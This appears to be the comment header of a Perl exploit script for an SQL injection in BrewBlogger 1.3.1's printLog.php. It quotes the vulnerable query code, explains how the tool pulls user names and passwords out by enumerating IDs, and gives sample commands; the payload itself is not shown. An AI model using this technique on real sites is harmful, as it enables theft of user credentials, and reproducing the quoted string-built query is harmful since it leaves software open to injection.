#Target:
#
#       BewBlogger 1.3.1
#       http://brewblogger.zkdigital.com
#
#Vulnerability:
#
#       SQL Injection
#
#Description:
#
#       BrewBlogger does not properly sanitize the 'id=' parameter passed to printLog.php.
#       Since each user entry contains an auto-incrementing ID number, it is possible to
#       enumerate all user names and passwords stored in the 'users'database by iterating
#       through every possible ID number.
#
#Vulnerable Code (truncated):
#
#       $colname_log = (get_magic_quotes_gpc()) ? $_GET['id'] : addslashes($_GET['id']);
#       $query_log = sprintf("SELECT * FROM brewing WHERE id = %s", $colname_log);
#       $log = mysql_query($query_log, $brewing) or die(mysql_error());
#
#Usage:
#       This script will produce a URL which will reveal the user name and password for
#       the specified ID. If no ID is specified, 2 is used (seems to be the usual ID for
#       the first user). The user name will be listed as "Method:" under 'General
#       Information', and the password will be listed as "Cost:".
#
#Usage:
#       ./brewblog.pl <domain name + path> [user id]
#
#Examples:
#
#       ./brewblogger.pl www.beerblog.com 3
#       ./brewblogger.pl www.mysite.com/beerblog
#
